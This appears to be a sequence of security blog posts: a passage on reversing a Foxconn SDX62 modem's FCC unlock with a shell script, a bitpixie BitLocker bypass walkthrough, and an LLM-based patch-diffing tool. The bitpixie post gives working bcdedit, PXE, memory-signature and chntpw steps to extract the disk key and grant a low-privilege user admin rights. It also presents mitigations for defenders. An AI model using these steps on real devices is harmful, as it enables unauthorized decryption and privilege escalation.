Comparing the SDX55 hash generation to the decompiled FoxFlss binary and the Windows driver reveals that the only difference is the magic value.
The magic value for the SDX55 is foxc, while the new magic value is now FDE1.
Unfortunately, even after adjusting this value, the FCC unlock still didn’t work.
1
2
3
4
5
6
SALT="salt"# use a static salt for nowMAGIC="foxc"HASH="${SALT}$(printf"%s%s%s%s%s""${FIRMWARE_VERSION}"\"${FIRMWARE_APPS_VERSION}""${IMEI}""${SALT}""${MAGIC}"\
| md5sum\
| head-c 32)"
In order to send these unlock commands to the module, qmicli is used. qmicli is a tool which can send QMI (Qualcomm MSM Interface) messages to the module from the command line.
A QMI message contains a message ID and is sent to a specific QMI service.
To unlock the FCC lock, the SDX55 script uses the qmicli argument --dms-foxconn-set-fcc-authentication-v2 that sends a message with ID (0x5571),
which appears to be the same message ID the FoxFlss binary uses.
The DMS prefix here indicates that this message is sent to the DMS service (0x02).
Looking at the FoxFlss decompilation again reveals that this is the important difference.
FoxFlss and the Windows driver send the message to the FOX service (0xE3) instead. So it looks like they moved this command into their own service between the SDX55 and SDX62.
After adding a new argument for this service to libqmi and adjusting the script, the unlocking is now working without any issues.
Decompiled function in the FoxFlss binary performing the FCC unlock
Conclusion
We opened a merge request !417 in the libqmi repo,
which was merged and is now part of the latest 1.37.1-dev development release.
This adds the fox-set-fcc-authentication argument which will send the FCC authentication data to the FOX service.
An unlock script based on the original SDX55 script for ModemManager
using this new argument can be found below.
#!/bin/sh# SPDX-License-Identifier: CC0-1.0# 2021 Aleksander Morgado <aleksander@aleksander.es># 2022 Thilo-Alexander Ginkel <thilo@ginkel.com># 2022 Bjørn Mork <bjorn@mork.no># 2025 Jan Wütherich <jan.wuetherich@syss.de>## Foxconn SDX62 FCC unlock operation## require program name and at least 2 arguments[$# -lt 2 ]&&exit 1
# first argument is DBus path, not needed hereshift# second and next arguments are control port namesfor PORT in"$@";do# match port type in Linux 5.14 and newergrep-q MBIM "/sys/class/wwan/$PORT/type" 2>/dev/null ||# match port name in Linux 5.13echo"$PORT" | grep-qi MBIM &&{MBIM_PORT="$PORT"break}done# fail if no MBIM port exposed[-n"$MBIM_PORT"]||exit 2
log_v2_failure(){echo"$1">&2
}FIRMWARE_VERSION=$(qmicli --device-open-proxy--device="/dev/$MBIM_PORT"\--fox-get-firmware-version=firmware-mcfg \
| grep"Version:"\
| grep-o"'.*'"\
| sed"s/'//g"\
| sed-e's/\.[^.]*\.[^.]*$//')if[-n"${FIRMWARE_VERSION}"];then
FIRMWARE_APPS_VERSION=$(qmicli --device-open-proxy--device="/dev/$MBIM_PORT"\--fox-get-firmware-version=apps \
| grep"Version:"\
| grep-o"'.*'"\
| sed"s/'//g")if[-n"${FIRMWARE_APPS_VERSION}"];then
IMEI=$(qmicli --device-open-proxy--device="/dev/$MBIM_PORT"--dms-get-ids\
| grep"IMEI:"\
| grep-o"'.*'"\
| sed"s/'//g")if[-n"${IMEI}"];then
SALT="$(LC_ALL=C tr-dc a-z0-9 < /dev/urandom | head-c 4)"MAGIC="FDE1"MD5=$(printf"%s%s%s%s%s""${FIRMWARE_VERSION}"\"${FIRMWARE_APPS_VERSION}""${IMEI}""${SALT}""${MAGIC}"\
| md5sum\
| head-c 32)HASH="${SALT}${MD5}"else
log_v2_failure "Could not determine SDX62 IMEI"fi
else
log_v2_failure "Could not determine SDX62 firmware apps version"fi
else
log_v2_failure "Could not determine SDX62 firmware version"fi
UNLOCK_RESULT=1
if[-n"${HASH}"];then
qmicli --device-open-proxy--device="/dev/$MBIM_PORT"\--fox-set-fcc-authentication="${HASH},48"UNLOCK_RESULT=$?if[$UNLOCK_RESULT-ne 0 ];then
log_v2_failure "SDX62 FCC unlock failed"fi
fi
exit$UNLOCK_RESULT
At the time of writing this blog post, it is not clear what the exact purpose of the RF files is, as the modem appears to be functioning without any issues without providing them.
Windows Local Privilege Escalation through the bitpixie Vulnerability2025-09-15T08:00:00+02:002025-09-17T11:55:27+02:00https://blog.syss.com/posts/bitpixie/Andreas Zeno Grasser
This blog post demonstrates how attackers can circumvent BitLocker drive encryption, how to protect against such attacks, and why acting now might pay off in the near future.
The bitpixie vulnerability in Windows Boot Manager is caused by a flaw in the PXE soft reboot feature, whereby the BitLocker key is not erased from memory. To exploit this vulnerability on up-to-date systems, a downgrade ...
This blog post demonstrates how attackers can circumvent BitLocker drive encryption, how to protect against such attacks, and why acting now might pay off in the near future.
The bitpixie vulnerability in Windows Boot Manager is caused by a flaw in the PXE soft reboot feature, whereby the BitLocker key is not erased from memory. To exploit this vulnerability on up-to-date systems, a downgrade attack can be performed by loading an older, unpatched boot manager. This enables attackers to extract the Volume Master Key (VMK) from main memory and bypass BitLocker encryption, which could grant them administrative access. The article also shows that privilege escalation is possible if a BitLocker PIN is set and the attacker knows the PIN. The Microsoft patch KB5025885 published in May 2023 prevents downgrade attacks on the vulnerable boot manager by replacing the old Microsoft certificate from 2011 with the new Windows UEFI CA 2023 certificate. As the old certificate will expire in 2026, this patch can also help to detect issues that may arise when the new CA will be enrolled for everyone.
About bitpixie
bitpixie is the nickname of a vulnerability in the Windows boot manager discovered by Rairii, which is based on a bug in the PXE soft reboot feature of the boot manager. This bug affected boot managers from 2005 to 2022; however, it can still be exploited on many updated systems using a downgrade attack.
Thomas Lambertz was the first to demonstrate a complete exploitation at 38C3. He also described his implementation in a blog post. The bitpixie exploitation process is shown in the following image.
A crucial component of a working exploit is the boot configuration data (BCD) file, which specifies the subsequent boot process for the Windows boot manager. As the BCD file specifies all boot media by their unique SSID, it must be crafted individually for each system to unlock the BitLocker partition. This results in a two-stage exploit process: first, a BCD file is created, and then it is used for the actual BitLocker attack. Both steps are described in the following sections.
Measured Boot vs. Secure Boot
Two different concepts for validating a boot process exist: Measured Boot and Secure Boot. When combined, they can effectively secure the boot process against various attacks. The following outlines how both security measures work and how they are combined in the Windows boot process.
During Measured Boot, all boot stages measure the integrity (the hashes and signatures of booted binaries, boot parameters, …) of the next boot stage and send this information to the Trusted Platform Module (TPM). The TPM is used as storage to save measurements in dedicated Platform Configuration Registers. In the TPM 2.0 specification, at least 24 registers are provided, of which the first 16 must be append-only and non-resettable.
Each measurement is added to a specific Platform Configuration Register (PCR) via the one-way function PCR[N] = HASHalg( PCR[N] || measurement ) where typically SHA256 is used as a hash function. After a measurement is performed, the previous state of the PCR can only be achieved by completely resetting the TPM. Resetting the TPM should only be possible in combination with a complete system restart (which is not always the case).
Secrets can be secured by the TPM by only unsealing them when certain PCR registers have a certain value. The idea of this is, that these values are only unsealed when the boot process was not tampered with.
Contains hashes of all boot managers involved in the boot process
7
UEFI Firmware
Contains the state of Secure Boot and the trusted/revoked certificates
11
Windows Boot Manager
BitLocker access control: Boot manager locks the register after obtaining the VMK
Secure Boot on the other hand tries to ensure the integrity of the boot process by validating cryptographic signatures. Each step of the boot process verifies the signature of the next stage against a set of trusted certificate authorities. Only if the signature test is passed, the boot process proceeds. In the default Windows boot process with BitLocker enabled, Secure Boot is used to verify the boot chain and Measured Boot with the TPM PCRs 7 and 11 is used to unseal the BitLocker key. The signature test of Secure Boot can lead to problems when signatures have to be revoked because of vulnerabilities or if the root certificate reaches the end of its validity. But more about these problems later, first let’s have some fun breaking BitLocker!
Implementing and running the bitpixie exploit
Even though the exploit was demonstrated and elaborated by Thomas Lambertz in his talk, some information was left out and no exploit code was published. Therefore, the bitpixie exploit was implemented by me in a new GitHub Repository. The following subsections describe the implementation of the attack as well as the steps necessary to recreate the exploitation process using this repository. Version 1.4 of the exploit POC was used in this blog post.
Setting up a testing environment
Access to raw memory is essential for debugging the exploit, therefore development of the exploit is best done on a virtual machine. QEMU with the Virtual Machine Manager was used as a virtualization environment, however some tweaks had to be done before being able to support Secure Boot over PXE of a Linux Initramfs. Before creating the virtual machine, the UEFI firmware of the virtual machine had to be changed to /usr/share/OVMF/OVMF_CODE_4M.ms.fd as shown below. This ensured that the default certificate authorities for the verified boot process are trusted by the UEFI (more about these default certificate authorities can be found in the section “Changing the Microsoft CA”).
Windows 11 Pro 24H2 was used to test the exploit. It is important that Secure Boot is used by the TPM for validating the integrity of the boot process during the Measured Boot process. This is the default in current Windows 11 installations, where PCRs 7 and 11 are checked when unsealing the TPM for obtaining the VMK. The configuration can be verified using the manage-bde command:
The “numerical password” is the BitLocker recovery key we all love to enter whenever the main decryption method does not work. As the main method of accessing the BitLocker partition, the TPM is used.
After installing the Windows operating system and ensuring that BitLocker is enabled, the model type of the network interface has to be changed to virtio and the ROM has to be set to “no” (see this bug). Otherwise the PXE boot does not work. This change applies only for QEMU-based test environments, for bare-metal machines no such changes have to be made. The XML in the Virtual Machine Manager of the network interface should look like this:
In a real-life penetration testing scenario, the only preparation necessary would be to directly connect the victim computer with the attacker system via Ethernet as shown below.
Now we are ready to start exploiting the testing environment by crafting a BCD file.
Preparing the Boot Configuration Data file
The Boot Configuration Data (BCD) file can be described as the Windows equivalent of the grub.cfg file (for those more familiar with Linux). It specifies boot orders, boot options and boot fallbacks. The entries of the BCD file can be viewed as a local administrator using the bcdedit command.
A copy of the BCD can be created using the bcdedit /export BCD_modded command from an administrative command shell.
To get the desired boot order shown in the image with the bitpixie overview, at first a recovery option has to be added to the BCD. The recovery option should boot into an operating system we have control over to read out the main memory. For this version of the exploit, a Linux with a bootloader signed for Secure Boot is used, which is hosted on our TFTP server of the attacker system. This recovery boot option should be entered using a PXE soft reboot to make use of the vulnerability in the Windows boot manager. The PXE soft reboot is a feature, where the recovery boot manager is loaded from the network without the necessity of a complete reboot.
1
2
3
4
5
6
7
8
:: Create the softreboot entry (returns GUID of entry)bcdedit/store BCD_modded/create /d "softreboot"/application startup:: Boot from Linux shimbcdedit/store BCD_modded/set {<rebootguid>}path"\shimx64.efi":: The Linux shim is located on the TFTP serverbcdedit/store BCD_modded/set {<rebootguid>}deviceboot:: Perform a PXE softrebootbcdedit/store BCD_modded/set {<rebootguid>}pxesoftrebootyes
After creating the recovery option, it has to be added to the recovery sequence of the default boot entry. Additionally, the default entry has to fail after unlocking the BitLocker partition. An easy way to achieve this, is to point to a non-existent boot loader using the path parameter (for example, directly in the root directory of the partition).
1
2
3
4
5
6
7
8
:: Activate fallback/recovery boot optionbcdedit/store BCD_modded/set {default}recoveryenabledyes:: Add our softreboot entry as recovery optionbcdedit/store BCD_modded/set {default}recoverysequence{<rebootguid>}:: Point the path of the boot loader to a wrong directory (e.g. the root directory)bcdedit/store BCD_modded/set {default}path"\\":: Allow booting from an initramfsbcdedit/store BCD_modded/set {default}winpeyes
Afterwards, the modified BCD file has to be transferred to the attacker machine. As these steps can be time-intensive when being executed manually, a script is included in the repository that automatically modifies and transfers the BCD file.
On the attacker machine, a TFTP server for the PXE boot process as well as an SMB server for the transfer of the script to modify the BCD file have to be started using the following commands.
1
2
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
1
2
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
The main issue is that the bcdedit command can only be used as a local administrator. However, as the BCD file is located on the unencrypted EFI partition of the drive, there are several ways to extract it.
One option is to physically remove the hard drive and extract the BCD file on another system. A simpler, less invasive method, however, is to boot into the Advanced Startup options. On most systems, this can be done by clicking “Restart” while holding the Shift key. This even works when you are on the login screen.
The command line can now be entered under ‘Troubleshoot -> Advanced options -> Command prompt’. During this process, a BitLocker Recovery screen will most likely be shown. This can be skipped using the ‘Skip this drive’ button.
This command line has administrative privileges in the pre-boot environment and can therefore be used to extract the BCD from the unencrypted EFI partition using the bcdedit tool by entering the following commands:
1
2
3
4
5
6
:: Start the network; obtain IP addresswpeutilinitializenetwork:: Mount the SMB sharenetuseS: \\10.13.37.100\smb
:: Execute the batch scriptS:\create-bcd.bat
The .bat script allows an easy transfer of the modified BCD to the attacker machine for the second stage of the exploitation process.
The BCD file can now be found in the repository on the attacker machine within the folder pxe-server/Boot/.
Extracting the Volume Master Key
The actual attack can now be performed and the VMK extracted by starting the boot process specified in the modified BCD file. The command line used to create the BCD file in the previous chapter can be closed. This brings back the initial advanced startup options screen.
The PXE boot can then be started by selecting the option labelled “UEFI PXEv4” from the “Use a device” menu.
If everything works as planned, the Windows Boot Manager should fail almost instantly after the PXE boot starts, and the first visible screen should be the GRUB screen. Booting from the only option “Debian 5.14 with Alpine Initramfs” loads a Debian kernel and an Alpine initramfs from the PXE server. This transfer can take quite a long time on bare-metal machines, boot times of over ten minutes are no rarity. When the boot process is finished, logging in is possible with the root user and a blank password.
Direct access to raw memory, however, is still not possible as the kernel is in lockdown mode due to Secure Boot. To scan the raw memory for the VMK, a local privilege escalation in the Linux kernel is needed. For this, the use-after-free vulnerability CVE-2024-1086 is used. More information about this exploit and its implementation is given in Thomas’ blog post as it would be out of scope for this blog article. I highly recommend reading this blog article as it goes into detail of kernel lockdown mode, to understand the concept of bitpixie this knowledge is not needed. Circumventing lockdown mode is also the reason why an outdated Debian version is used along with a different initramfs.
The VMK in memory can be found by scanning for the needle-FVE-FS- marking the beginning of the memory area:
1
2d 46 56 45 2d 46 53 2d |-FVE-FS-|
This needle is followed by four bytes with an offset of four bytes containing the version. The correct version we are looking for is version 1:
1
2d 46 56 45 2d 46 53 2d xx xx xx xx 01 00 00 00 |-FVE-FS-xxxx....|
Afterwards, the start and end offset of the actual VMK memory can be exctracted from the memory dump:
1
2
2d 46 56 45 2d 46 53 2d xx xx xx xx 01 00 00 00 |-FVE-FS-xxxx....|
20 00 00 00 e0 01 00 00 | ....... |
Here, the memory area starts at an offset of 0x00000020 and ends at an offset of 0x000001e0. This range can be scanned for the VMK. Thomas found that the bytes 03 20 01 00 mark the beginning of the 32 byte long VMK.
A complete memory dump of a VMK memory area is shown in the following image.
The search algorithm was implemented in a fork of a CVE-2024-1086 POC. The memory scan can be executed using the run-exploit <bitlocker partition> command which also unlocks the encrypted partition using the VMK.
This leads to direct read and write access on the BitLocker partition!
Some systems, however, do not allow booting third-party boot managers, for example several HP notebooks cannot be attacked as described above. However, the vulnerability itself does not require the use of a Linux system to read the VMK from memory. Security researcher Marc Tanner implemented a Windows version of the exploit which he also describes in a blog post. His exploit boots in a WindowsPE image where the memory can be scanned using a modified version of the memory scanner WinPmem.
Current mitigation
Thomas Lambertz gives concrete measures for mitigation in his blog post:
These measures block the exploitation of bitpixie by an attacker without any knowledge of the BitLocker PIN, for example when the device gets stolen.
However, this raises the question: Can bitpixie be used to escalate local privileges on a system where BitLocker Pre Boot Authentication (PBA) is activated and the PIN is known?
What about Pre-Boot Authentication?
A common belief is that using pre-boot authentication fixes the problem caused by bitpixie and similar vulnerabilities in the boot manager. Below, we will examine whether a malicious insider can use the bitpixie exploit to obtain local administrative access to their device.
Modifying the testing environment
In the testing environment, pre-boot authentication can be enabled in the group policies under Computer Configuration > Administrative Templates > Windows Components > BitLocker Drive Encryption > Operating System Drives > Require additional authentication at startup. The important option to set is “Allow startup PIN with TPM”.
Afterwards, a BitLocker PIN can be set via an elevated command line by the command manage-bde -protectors -add c: -TPMAndPIN or graphically using the Control Panel:
Windows should now ask for the PIN on every startup and we are ready to repeat our exploitation process.
Exploitation
The basic attack with PBA enabled works as described above. Since the BitLocker partition itself has not changed, there is no need to create a new BCD file. Sadly, after booting via PXE as described in the previous chapter, only a blue screen was displayed, which usually indicates an issue with unsealing the TPM or other problems during the boot process.
This could be due to an incompatibility of BitLocker PBA with old boot manager or with PXE boot which would need some extensive debugging. However, some research concluded that the issue was just that certain fonts were missing from the TFTP server! The blue screen is the BitLocker PIN splash screen, it just cannot be rendered correctly. These missing fonts can also be seen in the TFTP server’s output as warnings.
1
2
3
4
5
6
7
8
9
10
./start-server.sh pxe virbr2
[+] Info: Interface virbr2 has IP address 10.13.37.100/24
[...]
dnsmasq-tftp: sent <path>/pxe-server/EFI/Microsoft/Boot/bootmgfw.efi to 10.13.37.101
dnsmasq-tftp: file <path>/pxe-server/EFI/Microsoft/Boot/boot.stl not found for 10.13.37.101
dnsmasq-tftp: file <path>/pxe-server/EFI/Microsoft/Boot/fonts/segoe_slboot.ttf not found for 10.13.37.101
dnsmasq-tftp: file <path>/pxe-server/EFI/Microsoft/Boot/fonts/segmono_boot.ttf not found for 10.13.37.101
dnsmasq-tftp: file <path>/pxe-server/EFI/Microsoft/Boot/fonts/wgl4_boot.ttf not found for 10.13.37.101
dnsmasq-tftp: file <path>/pxe-server/EFI/Microsoft/Boot/fonts/wgl4_boot.ttf not found for 10.13.37.101
[...]
In fact, it is possible to enter the BitLocker PIN when the blue screen appears and successfully unlock the BitLocker partition.
To improve the user experience, the necessary fonts for displaying the BitLocker page have been added to the TFTP server under the directory EFI/Microsoft/Boot/Fonts with commit 15d83fe.
After adding the missing fonts and entering the PIN, the PXE boot process did succeed and it was possible to boot into the Linux system. However, the memory scanner was not able to find a valid BitLocker VMK signature. To determine why the VMK could not be extracted, a memory dump of the virtual machine was taken and analyzed.
As the VMK does not change when adding a BitLocker PIN, it is easy to find the correct memory area of the VMK in the hex dump.
This area can be compared to the memory dump of a VMK without PBA enabled which is shown below.
It can be seen that the four bytes indicating the start of the VMK differ in one bit resulting in the memory scanner not finding the beginning of the key. Subsequent experiments with other PBA-enabled devices revealed even more different starting bytes.
1
2
3
without PBA: 03 20 01 00
with PBA: 03 20 11 00
with PBA: 03 20 05 00
This is a good time to try to understand what these bytes represent or at least which values to expect in our memory scanner. Sadly, the Microsoft documentation does not give many hints about the structure of the VMK metadata. In the original presentation of the exploit, Thomas also comments these bytes as follows:
No idea what they actually represent, just bindiffed win10/11 struct in memory and found them to be constant here.
Fortunately, a GitHub repository created by Joachim Metz contains a promising section on VMK protectors:
Value
Description
0x0000
VMK protected with clear key + (Basically this is an unprotected VMK)
0x0100
VMK protected with TPM
0x0200
VMK protected with startup key
0x0500
VMK protected with TPM and PIN
0x0800
VMK protected with recovery password
0x2000
VMK protected with password
This documentation does not apply exactly to our memory dumps, but it still gives some information about the bytes that might vary on different system configurations. Ideally, the memory scanner should match on all of these signatures. A wildcard search for the bytes 03 20 xx 00 was implemented in a new extended search algorithm. Other VMK search algorithms try to match a longer byte sequence using regular expressions to find the beginning of the VMK.
After re-compiling the initramfs, a new exploitation attempt succeeded in extracting the VMK and unlocking the BitLocker partition! This allows a user with low privileges on the machine to escalate local privileges and obtain administrative access. The steps necessary for privilege escalation are shown in the next section.
Obtaining local administrative privileges
The test machine was set up with the administrative account “syss” and the low privilege account “low-priv-user”.
All users can be seen with the tool chntpw which is included in the Linux initramfs of the exploit repository.
Local administrative rights can now be obtained by adding the low-priv-user account to the Administrators group. This can be done with the interactive user edit menu of chntpw:
1
chntpw -u <user name> SAM
Chntpw allows for an easy privilege escalation using the option “Promote User”. Sadly, this option produced a segmentation fault error. Therefore, the user was manually added to the Administrators group:
The change can be saved by pressing q to leave the user edit menu and y to save the changes.
Afterwards, the BitLocker partition has to be unmounted to ensure all changes are written to disk and the system can be rebooted. After logging into Windows with the low-priv-user account, it can be seen that we are now indeed member of the Administrators group!
Conclusion and Effective Mitigations
This article shows that pre-boot authentication prevents unauthorized attackers from accessing the contents of an encrypted hard drive. However, pre-boot authentication does not prevent a malicious inside actor in possession of a valid BitLocker PIN from gaining local administrative access to the device, disabling antivirus and/or extracting cached credentials. This is especially critical for shared systems as it allows an attacker to directly access data of other users of the same system.
Luckily, there are further measures to protect against such an attack. The following image gives an overview which conditions must be fulfilled for bitpixie being exploitable.
Enabling PBA
Enforcing a BitLocker PBA mitigates the risk of external attackers who do not know the BitLocker PIN. As it protects against not only currently known bugs but also future vulnerabilities in the Windows boot chain, it is a very effective measure and should be implemented whenever possible.
However, as we discovered, it does not protect against users with knowledge of the PIN escalating their local privileges, disabling antivirus software, or extracting cached credentials. Therefore, other measures should be taken even if pre-boot authentication is activated.
Changing the PCR validation
One effective measure against downgrade attacks is to change the PCRs that are checked when the TPM is unsealed. In response to the boot manager vulnerability CVE-2024-38058, Microsoft added PCR 4 to the Measured Boot process. This register contains the hash of the boot manager code and also all boot attempts. However, this fix resulted in complaints regarding the requirement for BitLocker recovery keys after system updates. Consequently, Microsoft reverted to the weaker PCR configuration. Nevertheless, many systems might work flawlessly with this configuration, so such a hardened configuration might be feasible for some companies without users noticing the change. When updating the boot manager, the BitLocker encryption is paused for one reboot process which allows the new boot manager hash to be measured by the TPM. Afterwards, the VMK is only unsealed when the latest boot manager hash is being measured during startup. One potential downside of this fix is that it might lead to problems in future updates as it is not the recommended fix from Microsoft. The official patch provided by Microsoft does not change the Measured Boot but fixed the problem by securing the verified boot process.
Changing the Microsoft CA
The official fix for the bitpixie vulnerability (and other similar boot manager vulnerabilities) is to revoke the vulnerable boot managers from the Secure Boot process. This can be done by adding the signatures of the vulnerable boot managers to the revocation database (DBX). However, as mentioned in the beginning of the blog post, all boot managers between the years 2005 to 2022 are vulnerable to the bitpixie attack. As the space reserved by UEFI for the DBX is limited, this solution is not feasible. Fortunately, UEFI can allow or disallow boot managers based not only on their signature, but also on their certificate. The certificate structure for a current Secure Boot setup is shown in the following image.
The vulnerable boot manager used for the downgrade attack is signed by the Microsoft Windows Production PCA 2011. This certificate has a validity of 15 years which means it expires on June 2026. A similar fate will befall the Microsoft UEFI CA 2011 (for signing 3rd-party boot managers) and the Microsoft Corporation KEK CA 2011 (for managing the contents of the DB and the DBX) next year.
Therefore, Microsoft enrolled a new set of root certificates in the year 2023; for signing Windows boot managers, the new Windows UEFI CA 2023 will be used. Enrollment of this certificate authority is currently not done automatically but can be done by manually applying the patch KB5025885. This patch adds the new CAs to the DB, installs a boot manager signed by the 2023 CA and revokes the 2011 CA by adding it to the DBX database.
After applying the patch, the databases look like below:
The last step of revoking the 2011 CA is not necessary to prevent bitpixie from working: As PXE booting from a boot manager signed by the old 2011 certificate leads to a different value of the PCR 7, the TPM cannot be unsealed and no VMK is written to memory.
In 2026, the rollout of the new certificate authority will be mandatory for all system which might lead to unexpected behavior. Microsoft has collected known problems with the rollout of the new CA in an article. KB5025885 can therefore not only be seen as a fix for a boot manager vulnerability but also as a testing ground for the mandatory update of the certificate authority in 2026.
Another problem that may arise in 2026 is the expiry of the ‘Microsoft Corporation KEK CA 2011’ CA. Since this CA can only be replaced by the UEFI manufacturer’s platform key, users are dependent on the cooperation of the relevant manufacturer. The replacement of this certificate is not part of the KB5025885 patch. The blog post “On Secure Boot, TPMs, SBAT, and downgrades - Why Microsoft hasn’t fixed BitLocker yet” deals with this issue and also discusses a way for manufacturers to avoid such revocation problems in the future.
Automated Patch Diff Analysis using LLMs2025-09-15T07:00:00+02:002025-09-15T07:00:00+02:00https://blog.syss.com/posts/automated-patch-diff-analysis-using-llms/Moritz Abrell
Large Language Models (LLMs) are increasingly integrated into AI workflows and agents to streamline a wide range of tasks.
In this blog post, we introduce an approach for using LLMs for automated patch diff analysis.
TL;DR
Patch diffing is great for finding what changed between two versions of a binary, but the volume on typical patch days is high and manual triage costs a lot of time.
The ...
Large Language Models (LLMs) are increasingly integrated into AI workflows and agents to streamline a wide range of tasks.
In this blog post, we introduce an approach for using LLMs for automated patch diff analysis.
TL;DR
Patch diffing is great for finding what changed between two versions of a binary, but the volume on typical patch days is high and manual triage costs a lot of time.
The shown approach pipelines a binary diff, extracts the relevant changes, and lets an LLM score and summarize security relevance so a researcher can focus on the promising parts first.
No one working with LLMs these days can ignore the growing role of workflows and agents.
Agents everywhere
With the right tools, many day-to-day tasks can be streamlined and automated using LLMs.
We wondered whether this concept could help automate vulnerability discovery and exploitability analysis in binary code.
That led to the idea of building an AI-driven workflow that analyzes binary patch diffs and evaluates the changes for potential security implications.
The goal is to automatically highlight interesting or potentially vulnerable code,
so security researchers can focus their time where it matters,
instead of spending hours or even days on manual reverse engineering.
So without further ado, let’s dive in.
Patch Diffing
Patch diffing is a powerful technique for identifying code changes and understanding what a patch actually affects.
While diffing with access to source code is relatively straightforward, it becomes much more challenging when working with native binaries.
Fortunately, several tools exist to address this problem and support binary-level diffing, for example BinDiff, Diaphora, or ghidriff.
ghidriff is a great open-source tool developed by clearbluejar, which combines multiple techniques to detect and visualize code differences in binaries.
With such tools, security researchers can efficiently identify the root causes of vulnerabilities, discover changes that may introduce new bugs, or detect so-called silent patches (fixes for security issues that were not publicly disclosed).
This knowledge feeds into exploit development, patch effectiveness reviews, and targeted reverse engineering.
However, there is an obvious bottleneck: finding the needle in the haystack.
On a typical Mictrosoft Patch Tuesday, thousands of lines of code (LOC) change across many binaries.
Manually skimming all diffs is time-consuming and this is where LLMs can help with triage.
The Tool: diffalayze
So we coded a simple tool for automating patch diffing binaries using ghidriff and implemented a custom AI workflow for LLM-based triaging the diffs.
The idea is to define targets using a so-called fetch_script.py.
This script is responsible for downloading two versions of a binary or patch, verifying whether the versions have changed since the last run, and returning the corresponding files.
Once the binaries are ready, a Docker-based instance of ghidriff takes over, does its magic and generates several diff files.
These diffs are then further processed into markdown-formatted outputs, making them easier to analyze with LLMs.
Next, the AI agent is triggered and runs a scatter-gather pipeline: It maps over the diff chunks to produce per-chunk analyses,
then reduces them into a consolidated report using the selected back end and language model, such as OpenAI GPT-5.
The result is a markdown report that includes a triage summary, an explanation of the patchs purpose, and an analysis of any fixed or newly introduced vulnerabilities.
The LLM assigns a heuristic security score and severity level (NONE to CRITICAL) based on patterns it detects in the diff and its training data.
If a defined threshold is met, a user-defined action such as triggering a script or sending a notification is executed.
To sum it up, the following illustrates a high-level overview of this process:
Process overview
Targets
In our analysis, we focused on Windows kernel drivers such as mrxsmb.sys.
To automatically check for new versions and download the driver binaries, we made use of the excellent Winbindex project.
To streamline this process, we developed a helper script that can download any Windows binary directly using the Winbindex project database.
This script can then be integrated into a fetch_script.py, like in the following example:
importurllib.requestfromutilsimportwinbindexerfrompathlibimportPathdbfile="mrxsmb.sys.json.gz"filename="mrxsmb.sys"windows_version="11-24H2"SCRIPT_DIR=Path(__file__).parenttracking_file=SCRIPT_DIR/"version.log"defdownload_file(url:str,dest:Path):try:urllib.request.urlretrieve(url,dest)exceptExceptionase:raiseRuntimeError(f"[!] Download error: {e}")defcheck_and_download():try:winbindexer.ensure_winbindex_repo()results=winbindexer.get_latest_symbol_urls(filename,dbfile,windows_version)iflen(results)<2:raiseValueError("[!] Could not find two version")new_version_url=results[0]["url"]old_version_url=results[1]["url"]iftracking_file.exists():last_known=tracking_file.read_text(encoding="utf-8").strip()iflast_known==new_version_url:returnFalseold_path=SCRIPT_DIR/f"old.{filename}"new_path=SCRIPT_DIR/f"new.{filename}"download_file(old_version_url,old_path)download_file(new_version_url,new_path)tracking_file.write_text(new_version_url+"\n",encoding="utf-8")returnstr(old_path),str(new_path)except (FileNotFoundError,ValueError,RuntimeError)ase:print(f"[!] Error: {e}")return"",""
This example is invoked by diffalyze to check whether a new version of mrxsmb.sys is available for a specific Windows build (e.g. 11-24H2) and, if so, downloads it to the target directory.
It can also serve as a template for fetching other Windows binaries.
The true strength of diffalyze becomes apparent when analyzing multiple targets in parallel.
In our tests, for instance, we specified up to 32 binaries, which were processed simultaneously:
Running diffalayze with 32 targets
Bonus: We observed the best results when analyzing older Windows Long-Term Servicing Branch (LTSB) builds such as version 1607.
Patches for these versions often contain only essential security fixes, which leads to cleaner diff results and reduces the amount of irrelevant changes the LLM has to deal with.
What about other targets?
In principle, any binary can be analyzed using Diffalyze.
What is needed is a custom fetch_script.py that handles the preparation steps for the binary to be analyzed.
Demonstration
As described above, we used diffalyze to analyze Windows kernel drivers such as mrxsmb.sys.
The following example shows how diffalyze was used to analyze this binary.
diffalyze can be executed as follows:
1
python3 diffalayze.py all -f-a-lv-lb anthropic -lm claude-opus-4-1 -llt HIGH -ltc ../notify.sh
Parameter explanation:
all: all targets within the targets directory will be covered
-f (--force): forces diff, even if no new version of the binary can be found
-a (--analyze): enables LLM analysis after diffing
-lv (--llm-verbose): verbose output for LLM analysis
-lb (--llm-backend): LLM backend e.g. anthropic, openai, ollama
-lm (--llm-model): Language model e.g. claude-opus-4-1 or gpt-5
-llt (--llm-level-threshold): severity threshold for triggering the external script
-ltc (--llm-trigger-cmd): script to be executed if specified threshold is met
The output of the execution looks like this:
Sample run
Since an external script was specified to trigger when the security level threshold is greater or equal than HIGH and the LLM actually rated two targets as CRITICAL,
the script was executed and notifications were sent:
Notification about target evaluation
The final analysis report looks as follows:
Sample Result (click to expand)
# Summary
- Highest risk addressed: A feature-gated fix in RxCeEncryptData adds overflow-checked size calculations to prevent a potential integer overflow leading to kernel heap overflow during SMB encryption (CWE-190 → CWE-122). If the feature is disabled, the unsafe path remains.
- Important hardening: MRxSmbCreateSrvCall introduces a feature-gated rejection of credential-marshal–like server names to prevent authentication confusion (CWE-20, CWE-287), input normalization, explicit availability checks, safe allocations, improved telemetry, and deterministic cleanup to reduce stale state and memory risks (CWE-664).
- Residual risk: Both primary mitigations are gated by feature flags; deployments with these features disabled retain prior behaviors.
# Detailed Findings
- RxCeEncryptData (encryption path)
- Feature-gated overflow-checked sizing
- Replaces unchecked 32-bit additions for header/payload sizing with RtlULongAdd checks when the feature is enabled. Allocation now uses the validated size.
- Prevents under-allocation followed by copying/encryption of param_4 bytes.
- Type correction and parameter handling
- Changes length parameter type from int* to uint* to align with expected ULONG semantics and avoids signed-length pitfalls (CWE-681).
- Fixes RtlCopyMdlToBuffer “bytes copied” out-parameter to a dedicated local variable, avoiding clobbering the length parameter.
- MRxSmbCreateSrvCall (connection setup path)
- Early reject and telemetry
- Reorders an early 0x400-flag check to log and return a specific NTSTATUS immediately; improves clarity without changing security posture.
- Sub-redirector start and pre-claim
- Explicitly starts sub-redirector on sentinel and pre-claims the server call to reduce inconsistent states before connection.
- Input normalization
- Trims a leading backslash from the server name before further processing (CWE-20).
- Feature-gated credential-marshaling rejection
